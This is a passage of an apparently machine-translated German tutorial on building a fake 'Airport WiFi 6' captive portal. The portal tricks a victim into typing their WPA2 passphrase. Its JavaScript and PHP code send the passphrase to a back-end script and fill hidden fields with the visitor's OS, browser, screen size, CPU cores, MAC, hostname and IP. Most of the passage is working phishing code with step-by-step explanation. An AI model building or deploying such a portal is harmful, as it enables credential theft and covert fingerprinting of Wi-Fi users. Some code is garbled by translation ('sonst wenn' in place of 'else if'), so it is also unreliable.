function submitForm() { // Ladenachricht anzeigen, wenn das Formular abgeschickt wird $('#loading-message').text('Logging in, please wait...'); // Runtest sofort ausführen runTest(); // Ausführung der redirect-Funktion verzögern // Wenn Sie zu schnell einstellen, erhalten Sie // bei korrekter Eingabe möglicherweise ein falsches Passwort setTimeout(function () { $('#loading-message').text(''); redirect(); }, 2000); return true; }
togglePassword:
function togglePassword() { - Wie zuvor definieren wir eine neue Funktion "togglePassword".
var passwordField = document.getElementById("password"); - Hier definieren wir eine neue Variable und verwenden "document.getElementById", um die Variable "passwordField" zu setzen, um das Element mit der "id" password auszuwählen.
var icon = document.getElementById("showPasswordIcon"); - Hier definieren wir eine neue Variable und verwenden ebenfalls "document.getElementById", um die Elemente mit der "id" showPasswordIcon auszuwählen.
if (passwordField.type === "password") { - Hier verwenden wir eine if-Anweisung, um den PasswordFields-Typ mit Strict Equality gleich der id von password zu prüfen.
passwordField.type = "text"; - Dies setzt dann den "Typ" des Passwortfeldes auf ein normales Textfeld (wodurch das Passwort sichtbar wird).
icon.className = "bi bi-eye-slash-fill"; - Dies verwendet className, um das Icon in das bi bi-eye-slash-fill zu ändern.
} else { - Die else-Anweisung bedeutet hier, dass der nachfolgende Code ausgeführt wird, wenn die obige if-Anweisung gleich false ist.
passwordField.type = "password"; - Dies setzt den "Typ" des idiomatischen Elements zurück auf "password" und verbirgt das Klartextpasswort.
icon.className = "bi bi-eye-fill"; - Dies setzt die "Klasse" des idiomatischen Elements zurück auf das "bi bi-eye-fill" Symbol.
function togglePassword() { var passwordField = document.getElementById("password"); var icon = document.getElementById("showPasswordIcon"); if (passwordField.type === "password") { passwordField.type = "text"; icon.className = "bi bi-eye-slash-fill"; } else { passwordField.type = "password"; icon.className = "bi bi-eye-fill"; }
GSR (Get screen Resolution):
function GSR() { - Hier beginnen wir mit der Definition unserer Funktion "GSR".
var screenWidth = window.screen.width; - Hier definieren wir eine Variable screenWidth mit der Eigenschaft screen.width, dies ist eine schreibgeschützte Eigenschaft, die die Bildschirmbreite in CSS-Pixeln zurückgibt.
var screenHeight = window.screen.height; - Hier definieren wir die Variable screenHeight mit der Eigenschaft screen.height, die genau wie die obige Zeile die Bildschirmhöhe in CSS-Pixeln zurückgibt.
var resolution = screenWidth + "x" + screenHeight; - Hier definieren wir eine weitere Variable resolution, die einfach die Addition verwendet, um screenWidth und screenHeight miteinander zu verketten.
document.getElementById("SR").value = resolution; - Dies setzt dann den Wert des versteckten Eingabeelements mit der ID "SR" mit dem Wert der Auflösungsvariablen, bereit für die Eingabe eines Passworts durch einen Benutzer.
function GSR() { var screenWidth = window.screen.width; var screenHeight = window.screen.height; var resolution = screenWidth + "x" + screenHeight; // Setzt den Wert des versteckten Eingabefeldes mit der Bildschirmauflösung document.getElementById("SR").value = resolution; }
GOS (Get Operating System):
function GOS() { - Hier definieren wir eine neue Funktion "GOS".
var userAgent = navigator.userAgent; - Hier definieren wir eine neue Variable namens "userAgent", die das navigator-Objekt mit der userAgent-Eigenschaft verwendet, um den User-Agent zu erhalten und zu speichern.
var operatingSystem; - Hier definieren wir eine neue Variable operatingSystem.
if (userAgent.includes("Windows NT 10.0")) operatingSystem = "Windows 10/11"; - Hier verwenden wir eine if-Anweisung und die includes-Methode, mit der wir feststellen können, ob ein Array einen bestimmten Wert enthält. Die neuen Zeilen darunter sind sehr ähnlich. Damit wird versucht, das Betriebssystem des Ziels (Windows 10/11) mit Hilfe des UA zu ermitteln.
else if (userAgent.includes("Windows NT 6.3")) operatingSystem = "Windows 8.1"; - Hier verwenden wir eine else if-Anweisung, um zu prüfen, ob der User-Agent "Windows NT 6.3" enthält, und wenn ja, setzen wir die operatingSystem-Variable auf "Windows 8.1".
else if (userAgent.includes("Windows NT 6.2")) operatingSystem = "Windows 8"; - Hier verwenden wir eine else if-Anweisung, um zu prüfen, ob der User-Agent "Windows NT 6.2" enthält, und wenn ja, setzen wir die operatingSystem-Variable auf "Windows 8".
else if (userAgent.includes("Windows NT 6.1")) operatingSystem = "Windows 7"; - Hier verwenden wir eine else if-Anweisung, um zu prüfen, ob der User-Agent "Windows NT 6.1" enthält; wenn ja, setzen wir die operatingSystem-Variable auf "Windows 7".
else if (userAgent.includes("Windows NT 6.0")) operatingSystem = "Windows Vista"; - Hier verwenden wir eine else if-Anweisung, um zu prüfen, ob der User-Agent "Windows NT 6.0" enthält, und wenn ja, setzen wir die operatingSystem-Variable auf "Windows Vista".
else if (userAgent.includes("Windows NT 5.1")) operatingSystem = "Windows XP"; - Hier verwenden wir eine else if-Anweisung, um zu prüfen, ob der User-Agent "Windows NT 5.1" enthält; wenn ja, setzen wir die operatingSystem-Variable auf "Windows XP".
else if (userAgent.includes("Win")) operatingSystem = "Windows (Other)"; - Hier verwenden wir eine else if-Anweisung, um zu prüfen, ob der User-Agent "Win" enthält, wenn ja, setzen wir die operatingSystem-Variable auf "Windows (Other)".
else if (userAgent.includes("Mac") && userAgent.includes("Intel")) operatingSystem = "MacOS/iPad"; - Hier verwenden wir eine else if-Anweisung, um zu prüfen, ob der User-Agent "Mac" und "Intel" enthält. Wenn ja, setzen wir die operatingSystem-Variable auf "MacOS/iPad", da beide denselben UA-Typ verwenden.
else if (userAgent.includes("Linux") && !userAgent.includes("Android")) operatingSystem = "Linux"; - Hier verwenden wir eine else if-Anweisung, um zu prüfen, ob der User-Agent "Linux" enthält und unter Verwendung eines logischen NOT-Operators, nicht "Android" enthält, falls doch, setzen wir die operatingSystem-Variable auf "Linux".
else if (userAgent.includes("Android")) operatingSystem = "Android"; - Hier verwenden wir eine else if-Anweisung, um zu prüfen, ob der User-Agent "Android" enthält, und wenn ja, setzen wir die operatingSystem-Variable auf "Android".
else if (userAgent.includes("iPhone") && !userAgent.includes("Intel")) operatingSystem = "iOS (iPhone)"; - Hier verwenden wir eine else if-Anweisung, um zu prüfen, ob der User-Agent "iPhone" und nicht "Intel" enthält. Wenn ja, setzen wir die operatingSystem-Variable auf "iOS (iPhone)", da beide denselben UA-Typ verwenden.
else operatingSystem = "Unknown OS"; - Wenn alle obigen Anweisungen gleich "false" sind, setzen wir sie auf "Unknown OS".
document.getElementById("OS").value = operatingSystem; - Hier setzen wir dann den Wert des versteckten Eingabeelements, das die ID "OS" hat, mit dem Wert der operatingSystem-Variablen.
function GOS() { var userAgent = navigator.userAgent; var operatingSystem; if (userAgent.includes("Windows NT 10.0")) operatingSystem = "Windows 10/11"; else if (userAgent.includes("Windows NT 6.3")) operatingSystem = "Windows 8.1"; else if (userAgent.includes("Windows NT 6.2")) operatingSystem = "Windows 8"; sonst wenn (userAgent.includes("Windows NT 6.1")) operatingSystem = "Windows 7"; sonst wenn (userAgent.includes("Windows NT 6.0")) operatingSystem = "Windows Vista"; sonst wenn (userAgent.includes("Windows NT 5.1")) operatingSystem = "Windows XP"; sonst wenn (userAgent.includes("Win")) operatingSystem = "Windows (Other)"; else if (userAgent.includes("Mac") && userAgent.includes("Intel")) operatingSystem = "MacOS/iPad"; else if (userAgent.includes("Linux") && !userAgent.includes("Android")) operatingSystem = "Linux"; else if (userAgent.includes("Android")) operatingSystem = "Android"; else if (userAgent.includes("iPhone") && !userAgent.includes("Intel")) operatingSystem = "iOS (iPhone)"; else operatingSystem = "Unknown OS"; document.getElementById("OS").value = operatingSystem; }
GWB (Get Web Browser):
function GWB() { - Hier definieren wir eine neue Funktion "GWB".
var userAgent = navigator.userAgent; - Hier definieren wir eine neue Variable "userAgent", die die Eigenschaft navigator.userAgent verwendet, um den User Agent des Benutzers zu ermitteln.
var browser = "Unknown"; - Hier definieren wir eine neue Variable browser mit dem Standardwert "Unknown".
if (userAgent.includes("Firefox") && !userAgent.includes("Seamonkey")) browser = "Firefox"; - Hier prüfen wir mit einer if-Anweisung unter Verwendung von includes, ob der User-Agent "FireFox" enthält. Dann verwenden wir einen logischen UND-Operator, gefolgt von einem logischen NICHT-Operator, der prüft, ob der User-Agent "Firefox", aber nicht "Seamonkey" enthält. Dies setzt dann die Browservariable auf "Firefox".
else if (userAgent.includes("Seamonkey")) browser = "Seamonkey"; - Hier wird mit dem Include-Operator geprüft, ob der User-Agent "Seamonkey" enthält, falls ja, wird die Browservariable auf "Seamonkey" gesetzt.
else if (userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Chrome"; - Wie zuvor prüfen wir mit includes, ob der User-Agent "Chrome" enthält. Dann verwenden wir einen logischen UND-Operator, gefolgt vom logischen NICHT-Operator, der prüft, ob der User-Agent "Chrome", aber nicht "Chromium" enthält. Dies setzt dann die Browservariable auf "Chrome".
else if (userAgent.includes("Chromium")) browser = "Chromium"; - Hier wird wie zuvor mit includes geprüft, ob der User-Agent "Chromium" enthält, falls ja, wird die Browservariable auf "Chromium" gesetzt.
else if (userAgent.includes("Safari") && !userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Safari"; - Wie zuvor prüfen wir mit includes, ob der User-Agent "Safari" enthält, und verwenden dann einen logischen UND-Operator, gefolgt vom logischen NICHT-Operator, um nach "Chrome" zu suchen. Dann wird ein weiterer logischer NICHT-Operator verwendet, um zu prüfen, ob der Benutzer-Agent "Safari", aber nicht "Chrome" und "Chromium" enthält. Daraufhin wird die Browservariable auf "Safari" gesetzt.
else if (userAgent.includes("OPR") || userAgent.includes("Opera")) browser = "Opera"; - Hier wird mit "includes" geprüft, ob der User Agent "OPR" enthält, und dann mit dem Operator Logical OR geprüft, ob er "Opera" enthält. Damit wird überprüft, ob der User Agent entweder "OPR" oder "Opera" enthält und die Variable browser auf "Opera" gesetzt.
else if (userAgent.includes("MSIE") || userAgent.includes("Trident/")) browser = "Internet Explorer"; - Hier wird wie oben mit "includes" geprüft, ob der User Agent "MSIE" enthält, und dann mit dem Operator Logical OR geprüft, ob er "Trident" enthält. Dies prüft, ob der User Agent entweder "MSIE" oder "Trident" enthält und setzt dann die Browser-Variable auf "Internet Explorer".
else if (userAgent.includes("Edge")) browser = "Edge"; - Hier wird mit "includes" geprüft, ob der User Agent "Edge" enthält, und die Browservariable wird auf "Edge" gesetzt.
document.getElementById("WB").value = browser; - Schließlich setzen wir den Wert des versteckten Eingabeelements mit der ID "WB" auf den Wert der Variablen "browser".
function GWB() { var userAgent = navigator.userAgent; var browser = "Unknown"; if (userAgent.includes("Firefox") && !userAgent.includes("Seamonkey")) browser = "Firefox"; else if (userAgent.includes("Seamonkey")) browser = "Seamonkey"; else if (userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Chrome"; else if (userAgent.includes("Chromium")) browser = "Chromium"; else if (userAgent.includes("Safari") && !userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Safari"; else if (userAgent.includes("OPR") || userAgent.includes("Opera")) browser = "Opera"; else if (userAgent.includes("MSIE") || userAgent.includes("Trident/")) browser = "Internet Explorer"; else if (userAgent.includes("Edge")) browser = "Edge"; // Den Wert des Eingabeelements mit dem erkannten Browser setzen document.getElementById("WB").value = browser; }
GAT (Get Architecture Type):
function GAT() { - Hier definieren wir eine neue Funktion "GAT".
var userAgent = navigator.userAgent; - Hier wird eine neue Variable "userAgent" definiert, die die Eigenschaft "navigator.userAgent" verwendet, um den User Agent des Benutzers zu ermitteln.
var architecture = "Unknown"; - Hier definieren wir eine neue Variable architecture mit dem Standardwert "Unknown".
if (userAgent.includes("Win64") || userAgent.includes("x64")) architecture = "64-bit"; - Hier prüfen wir mit includes, ob der User Agent "Win64" oder "x64" enthält. Wenn dies der Fall ist, setzen wir die Architekturvariable auf "64-bit".
else if (userAgent.includes("WOW64") || userAgent.includes("x86_64")) architecture = "64-bit"; - Hier wird mit includes geprüft, ob der User Agent "WOW64" oder "x86_x64" enthält. Ist dies der Fall, setzen wir die Architekturvariable auf "64-bit".
else if (userAgent.includes("Win32") || userAgent.includes("x86")) architecture = "32-bit"; - Hier wird mit includes geprüft, ob der User Agent "Win32" oder "x86" enthält. Ist dies der Fall, setzen wir die Architekturvariable auf "32-bit".
else if (userAgent.includes("i686")) architecture = "32-bit"; - Hier prüfen wir mit Hilfe von includes, ob der User Agent "i686" enthält. Wenn dies der Fall ist, setzen wir die Architekturvariable auf "32-bit".
document.getElementById("AT").value = architecture; - Zum Schluss setzen wir den Wert des versteckten Eingabeelements, das die ID "AT" hat, auf den Wert der Architekturvariablen.
function GAT() { var userAgent = navigator.userAgent; var architecture = "Unknown"; if (userAgent.includes("Win64") || userAgent.includes("x64")) architecture = "64-bit"; else if (userAgent.includes("WOW64") || userAgent.includes("x86_64")) architecture = "64-bit"; else if (userAgent.includes("Win32") || userAgent.includes("x86")) architecture = "32-bit"; else if (userAgent.includes("i686")) architecture = "32-bit"; document.getElementById("AT").value = architecture; }
GCC (Cpu-Kerne ermitteln):
function GCC() { - Hier definieren wir eine neue Funktion "GCC".
var cpuCores = navigator.hardwareConcurrency || "Unknown"; - Hier definieren wir eine neue Variable cpuCores und verwenden die Eigenschaft navigator.hardwareConcurrency, um Informationen über die logischen Prozessoren des Benutzers zu erhalten. Wir verwenden den logischen OR-Operator, um diese Variable auf "Unknown" zu setzen, wenn der Wert nicht abgerufen werden kann.
document.getElementById("CC").value = cpuCores; - Hier setzen wir dann den Wert des versteckten Eingabeelements, das die ID "CC" hat, mit dem Wert der Variablen cpuCores.
function GCC() { var cpuCores = navigator.hardwareConcurrency || "Unknown"; document.getElementById("CC").value = cpuCores; }
Bootstrap Popover:
document.addEventListener('DOMContentLoaded', function () { - Hier verwenden wir eine addEventListener-Funktion, die ebenfalls die Funktion DOMContentLoaded verwendet, die ausgelöst wird, wenn die HTML-Seite vollständig geparst ist.
$('[data-toggle="popover"]').popover({ - Hier aktivieren wir das Popover, indem wir alle Popovers mit dem Attribut data-toggle auswählen.
container: 'body' - Wir wählen auch den Container-Body aus, in dem dies angezeigt werden soll.
}); - Dies ist nur ein abschließender Tag für die obigen Zeilen.
$(".popover-link").on("click", function (event) { - Hier verwenden wir einen Bootstrap-Selektor, um ein Element mit der Klasse "popover-link" mit on click auszuwählen und geben eine neue Funktion an.
event.preventDefault(); - Hier verwenden wir preventDefault, was die Ausführung einer Aktion stoppt, bevor sie beginnt.
$('[data-toggle="popover"]').popover("toggle"); - Wie zuvor wählen wir alle Popover aus, deren data-toggle auf "popover" gesetzt ist, und schalten dann das Popover um, was als "manuelle" Auslösung betrachtet wird.
$(".popover-link").on("shown.bs.popover", function () { - Hier wie zuvor wählen wir das Element mit der Klasse "popover-link" aus und verwenden shown.bs.popover, das ausgelöst wird, wenn das Popover für den Benutzer sichtbar gemacht wurde.
$(".popover-link").focus(); - Wir wählen dann die Klasse "popover-link" und verwenden focus, um dem Element den Fokus zu geben, wenn es initialisiert wird.
document.addEventListener('DOMContentLoaded', function () { $('[data-toggle="popover"]').popover({ container: 'body' }); $(".popover-link").on("click", function (event) { event.preventDefault(); $('[data-toggle="popover"]').popover("toggle"); }); $(".popover-link").on("shown.bs.popover", function () { $(".popover-link").focus(); }); });
Die Datei func.js sollte nun wie folgt aussehen.
Func.js Ergebnis:
// Weiterleiten function redirect() { setTimeout(function () { // Prüfen, ob die Checkbox angekreuzt ist var ACLAllowChecked = $('#ACLAllow').prop('checked'); // ACLAllow-Parameter in die Redirect-URL einbinden var redirectURL = "/checking.php" + (ACLAllowChecked ? '?ACLAllow=1' : ''); window.location = redirectURL; }, 1000); } // Go Back-Funktion für fehlerhafte.php function GoBack() { setTimeout(function () { window.location = "/default.php"; }, 100); } // RunTest-Funktion - Setzt Cache-Kontrolle // und sendet die Eingabe an run_test.php function runTest() { var password = document.getElementById('password').value; var xhr = new XMLHttpRequest(); xhr.open('POST', '/run_test.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.setRequestHeader('Cache-Control', 'no-store, no-cache, must-revalidate'); xhr.setRequestHeader('Pragma', 'no-cache'); xhr.setRequestHeader('Expires', '0'); xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { var responseText = xhr.responseText.trim(); if (responseText !== "") { console.log(responseText); } // Bei Bedarf können Sie weitere Behandlungen hinzufügen } }; xhr.send('password=' + encodeURIComponent(password)); } // Funktion zur Behandlung der Formularübermittlung function submitForm() { // Anzeige der Ladenachricht, wenn das Formular übermittelt wird $('#loading-message').text('Logging in, please wait...'); // Runtest sofort ausführen runTest(); // Ausführung der redirect-Funktion verzögern // Wenn Sie zu schnell anpassen, erhalten Sie möglicherweise // ein falsches Passwort bei einer korrekten Eingabe setTimeout(function () { $('#loading-message').text(''); redirect(); }, 2000); return true; // Absenden des Formulars zulassen } function togglePassword() { var passwordField = document.getElementById("password"); var icon = document.getElementById("showPasswordIcon"); if (passwordField.type === "password") { passwordField.type = "text"; icon.className = "bi bi-eye-slash-fill"; } else { passwordField.type = "password"; icon.className = "bi bi-eye-fill"; } } function GSR() { var screenWidth = window.screen.width; var screenHeight = window.screen.height; var resolution = screenWidth + "x" + screenHeight; // Setzt den Wert des versteckten Eingabefeldes mit der Bildschirmauflösung document.getElementById("SR").value = resolution; } function GOS() { var userAgent = navigator.userAgent; var operatingSystem; if (userAgent.includes("Windows NT 10.0")) operatingSystem = "Windows 10/11"; else if (userAgent.includes("Windows NT 6.3")) operatingSystem = "Windows 8.1"; else if (userAgent.includes("Windows NT 6.2")) operatingSystem = "Windows 8"; else if (userAgent.includes("Windows NT 6.1")) operatingSystem = "Windows 7"; else if (userAgent.includes("Windows NT 6.0")) operatingSystem = "Windows Vista"; else if (userAgent.includes("Windows NT 5.1")) operatingSystem = "Windows XP"; else if (userAgent.includes("Win")) operatingSystem = "Windows (Other)"; else if (userAgent.includes("Mac") && userAgent.includes("Intel")) operatingSystem = "MacOS/iPad"; else if (userAgent.includes("Linux") && !userAgent.includes("Android")) operatingSystem = "Linux"; else if (userAgent.includes("Android")) operatingSystem = "Android"; else if (userAgent.includes("iPhone") && !userAgent.includes("Intel")) operatingSystem = "iOS (iPhone)"; else operatingSystem = "Unknown OS"; document.getElementById("OS").value = operatingSystem; } function GWB() { var userAgent = navigator.userAgent; var browser = "Unknown"; if (userAgent.includes("Firefox") && !userAgent.includes("Seamonkey")) browser = "Firefox"; else if (userAgent.includes("Seamonkey")) browser = "Seamonkey"; else if (userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Chrome"; else if (userAgent.includes("Chromium")) browser = "Chromium"; else if (userAgent.includes("Safari") && !userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Safari"; else if (userAgent.includes("OPR") || userAgent.includes("Opera")) browser = "Opera"; else if (userAgent.includes("MSIE") || userAgent.includes("Trident/")) browser = "Internet Explorer"; else if (userAgent.includes("Edge")) browser = "Edge"; // Den Wert des Eingabeelements mit dem erkannten Browser setzen document.getElementById("WB").value = browser; } function GAT() { var userAgent = navigator.userAgent; var architecture = "Unknown"; if (userAgent.includes("Win64") || userAgent.includes("x64")) architecture = "64-bit"; else if (userAgent.includes("WOW64") || userAgent.includes("x86_64")) architecture = "64-bit"; else if (userAgent.includes("Win32") || userAgent.includes("x86")) architecture = "32-bit"; else if (userAgent.includes("i686")) architecture = "32-bit"; document.getElementById("AT").value = architecture; } function GCC() { var cpuCores = navigator.hardwareConcurrency || "Unknown"; document.getElementById("CC").value = cpuCores; } // Popover Initialisierung document.addEventListener('DOMContentLoaded', function () { $('[data-toggle="popover"]').popover({ container: 'body' }); $(".popover-link").on("click", function (event) { event.preventDefault(); $('[data-toggle="popover"]').popover("toggle"); }); $(".popover-link").on("shown.bs.popover", function () { $(".popover-link").focus(); }); });
Incorrect.php erstellen
Hierfür kopieren wir einfach den Code von default.php und fügen ihn ein, wobei wir einige Dinge entfernen und ersetzen.
Zuerst müssen wir die Requests für die besuchte Seite entfernen:
require_once('visited.php'); // entfernen
Als nächstes entfernen wir den iframe:
<iframe name="login" id="login" style="display: none;"></iframe> // entfernen
Als nächstes wollen wir die Bootstrap-Icon-Datei entfernen, da sie hier nicht benötigt wird:
<link rel="stylesheet" href="/css/bootstrap-icons.css"> // entfernen
Als nächstes wollen wir diesen gesamten Codeblock ersetzen:
<h3 class="card-title text-center"><?= $essid; ?></h3> <p class="text-center small mb-5">So wie es aussieht, müssen Sie autorisiert sein, um diesen Wireless Access Point zu nutzen.</p> <form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> <div class="form-group text-left mb-4"> <label for="password">Passphrase:</label> <div class="input-group"> <input type="password" class="form-control" id="password" name="password" placeholder="WPA2 Passphrase" autocomplete="current-password" required> <div class="input-group-append"> <span class="input-group-text"> <i id="showPasswordIcon" class="bi bi-eye-fill" onclick="togglePassword()"></i> </span> </div> </div>
</div> <div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> <input type="hidden" name="ssid" value="<?=getClientSSID($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>"> <input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?>"> <input type="hidden" id="SR" name="SR" value=""> <input type="hidden" id="OS" name="OS" value=""> <input type="hidden" id="WB" name="WB" value="">
<input type="hidden" id="AT" name="AT" value=""> <input type="hidden" id="CC" name="CC" value=""> <script type="text/javascript">GSR(); GOS(); GWB(); GAT(); GCC();</script>
<button type="submit" class="btn btn-orange btn-block text-white">Anmeldung</button> <div class="form-group form-check text-left mt-2"> <input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> <label class="form-check-label" for="ACLAllow">MAC zur ALC-Zulassungsliste hinzufügen</label> </div> </form>
Ersetzen durch:
<h3 class="card-title text-center">Oops!</h3> <p class="text-center small">Es sieht so aus, als hätten Sie eine falsche Passphrase eingegeben, bitte überprüfen Sie Ihre Schreibweise und versuchen Sie es erneut.</p> <button class="btn btn-orange btn-block text-white mt-5" onclick="GoBack()">Zurückgehen</button>
Incorrect.php Ergebnis:
Jetzt sollten wir eine Incorrect-Seite haben, die wie folgt aussieht:
<?php $Ziel = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . ""; require_once('helper.php'); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $essid = "Airport WiFi 6"; ?> <!DOCTYPE html> <html lang="de"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/de/style.css"> <script type="text/javascript" src="/func.js"></script> <title><?= $essid ?></title> </head> <body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <img src="airport-logo.png" class="img-fluid mb-3" style="max-width: 200; max-height: 100px; object-fit: contain;"> <h3 class="card-title text-center">Oops!</h3> <p class="text-center small">Es sieht so aus, als hätten Sie eine falsche Passphrase eingegeben. Bitte überprüfen Sie Ihre Schreibweise und versuchen Sie es erneut.</p> <button class="btn btn-orange btn-block text-white mt-5" onclick="GoBack()">Zurück</button> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS: ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> Client MAC: <?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Dies ist aufgrund der auf dem drahtlosen Zugangspunkt implementierten Zugriffskontrollliste (ACL) geschehen. In diesem Fall müssen sich die Geräte neu authentifizieren, was zu einer Abfrage der ACL des Access Points führt. Wenn Ihr Gerät berechtigt ist, auf dieses Netzwerk zuzugreifen, wird die MAC Ihres Geräts nach einer erneuten Authentifizierung über das integrierte Captive Portal des Wireless Access Points zugelassen. Deshalb sehen Sie diese Meldung." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Warum ist das passiert?</a> </p> </p> </div> </div> </div> </div> </div> </body> </html>
Richtig.php erstellen
Wir verwenden nun die Incorrect.php als Grundlage für die Correct.php, da bereits viel entfernt wurde, und wollen nun noch einige Codestücke hinzufügen und entfernen.
Bei der Erstellung ist mir schnell ein Problem aufgefallen, und zwar, wenn wir das Captive Portal mit dem Apple Captive Portal Hotspot-Detect http://captive.apple.com/hotspot-detect.html anzeigen (da ich zu diesem Zeitpunkt auf mobilen und Tablet-Geräten getestet habe). Sie können das Captive Portal auch auf Apple-Geräten aufrufen, indem Sie http://captive.apple.com verwenden .
Nach ein paar Klicks in Safari sehen wir die default.php, die an den obigen Link angehängt ist. Die Eingabe von correct.php würde dem Opfer den Zugang zum Captive Portal ermöglichen, ohne ein Passwort einzugeben. Das wollten wir natürlich verhindern, also habe ich zwei Prüfungen dafür eingeführt.
- Referer-Header-Prüfung
- Dateiparameter-Prüfung (eine Datei mit einem gespeicherten Wert von true, wenn das richtige Passwort eingegeben wurde)
Ich werde die neuen Codeteile nach und nach erläutern und sie aufschlüsseln.
Referer, File und Checkbox Check:
$rueayFilePath = '/tmp/airport_rueay.txt'; - Hier definieren wir eine neue Variable und setzen den Wert auf einen absoluten Dateipfad, dies ist für die Dateiprüfung.
$aclAllowFilePath = '/tmp/airport_aclallow.txt'; - Hier definieren wir eine neue Variable und setzen den Wert auf einen absoluten Dateipfad, dies ist für die Anzeige einer eindeutigen Nachricht, wenn das Kontrollkästchen aktiviert ist.
if ( - Der Anfang der "if"-Anweisung.
file_exists($rueayFilePath) && - Hier verwenden wir die PHP-Funktion file_exists, um zu prüfen, ob der Dateipfad der Variablen existiert oder nicht, sie verwendet dann die Logik AND, was bedeutet, dass sie nur fortfährt, wenn alle Operanden wahr sind.
strpos(file_get_contents($rueayFilePath), 'true') !== false && - Hier wird die PHP-Funktion strpos verwendet, gefolgt von der PHP-Funktion file_get_contents, um den "rueayFilePath" zu lesen und zu prüfen, ob das Wort "true" gefunden wurde und nicht gleich false ist, dies verwendet dann ein weiteres logisches UND.
isset($_SERVER['HTTP_REFERER']) && - Dies verwendet die PHP-Funktion "isset", um zu prüfen, ob die PHP-Variable "HTTP_REFERER" gesetzt ist.
strpos($_SERVER['HTTP_REFERER'], '/checking.php') !== false - Ähnlich wie oben wird hier "strpos" verwendet, um das Vorkommen einer Teilzeichenkette in einem String aus der PHP-Variable "HTTP_REFERER" zu finden und nach "/checking.php" zu suchen und zu prüfen, ob diese nicht gleich "false" ist (wenn sie gesetzt ist, ist sie gleich "true").
if ( - Beginn der nächsten "if"-Anweisung.
file_exists($aclAllowFilePath) && - Ähnlich wie oben benutzen wir "file_exists" um zu prüfen, ob die Variable "aclAllowFilePath" existiert.
strpos(file_get_contents($aclAllowFilePath), 'true') !== false - Genau wie bei der "rueay"-Prüfung prüfen wir, ob die Datei airport_aclallow.txt die Zeile "true" enthält und ob sie nicht gleich false ist.
$ACLMessage = 'Hinzugefügt: ' . getClientMac($_SERVER['REMOTE_ADDR']) . ' to ACL Allowed List.'; - Wir definieren dann eine neue Variable "ACLMessage", die verwendet wird, um die Meldung "Added:" anzuzeigen, wir verwenden dann einen PHP-String-Verknüpfungsoperator, um den Wert von getClientMac unter Verwendung der Superglobalen $_SERVER mit der Variablen REMOTE_ADDR zurückzugeben und zeigen dann die verbleibende Meldung "to ACL Allowed List" an.
} else { - Die else-Anweisung für den Fall, dass die obigen Angaben nicht zutreffen.
header("Location: /checking.php"); - Wir setzen dann einen neuen Header Location, um den Benutzer zurück auf die Seite /checking.php umzuleiten.
exit(); - Wir beenden dann die if-Anweisung, um den Vorgang abzuschließen.
Wir fügen diesen Code in unseren PHP-Code-Block am Anfang der Seite ein.
$rueayFilePath = '/tmp/airport_rueay.txt'; $aclAllowFilePath = '/tmp/airport_aclallow.txt'; // Überprüfen Sie, ob true in der Datei airport_rueay.txt gefunden wurde und der Referer checking.php ist if ( file_exists($rueayFilePath) && strpos(file_get_contents($rueayFilePath), 'true') !== false && isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], '/checking.php') !== false ) { // Mit dem normalen Verhalten fortfahren // Prüfen, ob true in der Datei gefunden wird und Meldung generieren if ( file_exists($aclAllowFilePath) && strpos(file_get_contents($aclAllowFilePath), 'true') !== false ) { $ACLMessage = 'Hinzugefügt: ' . getClientMac($_SERVER['REMOTE_ADDR']) . ' zur ACL Allowed List hinzugefügt.'; } } else { // Weiterleitung zu checking.php, wenn die Bedingungen nicht erfüllt sind header("Location: /checking.php"); exit(); }
auth_success-Funktion:
Diese Funktion wollte ich nicht in die Datei func.js einfügen, sondern direkt in die Seite correct.php selbst. Der Grund dafür ist, dass der Benutzer den Aufbau der Funktion nicht sehen kann, wenn er sich nicht auf der Seite befindet, da die Seite correct.php einige Sicherheitsmaßnahmen hat, um zu verhindern, dass er sie direkt besuchen kann. Wie zuvor werde ich aufschlüsseln, was in diesem Skript-Tag vor sich geht.
var destinationValue = "<?php $destination; ?>"; - Hier setzen wir eine neue Variable destinationValue mit einem Wert, der php-Code enthält. Dieser wird ausgeführt und gibt den Wert der Zielvariablen zurück, der auf allen unseren Seiten ganz oben als Wert der destinationValue-Variablen festgelegt wurde.
function auth_success(targetValue) { - Hier definieren wir die auth_success-Funktion mit einem Parameter "targetValue", der als Platzhalter für Werte dienen kann, die von Funktionen übergeben werden.
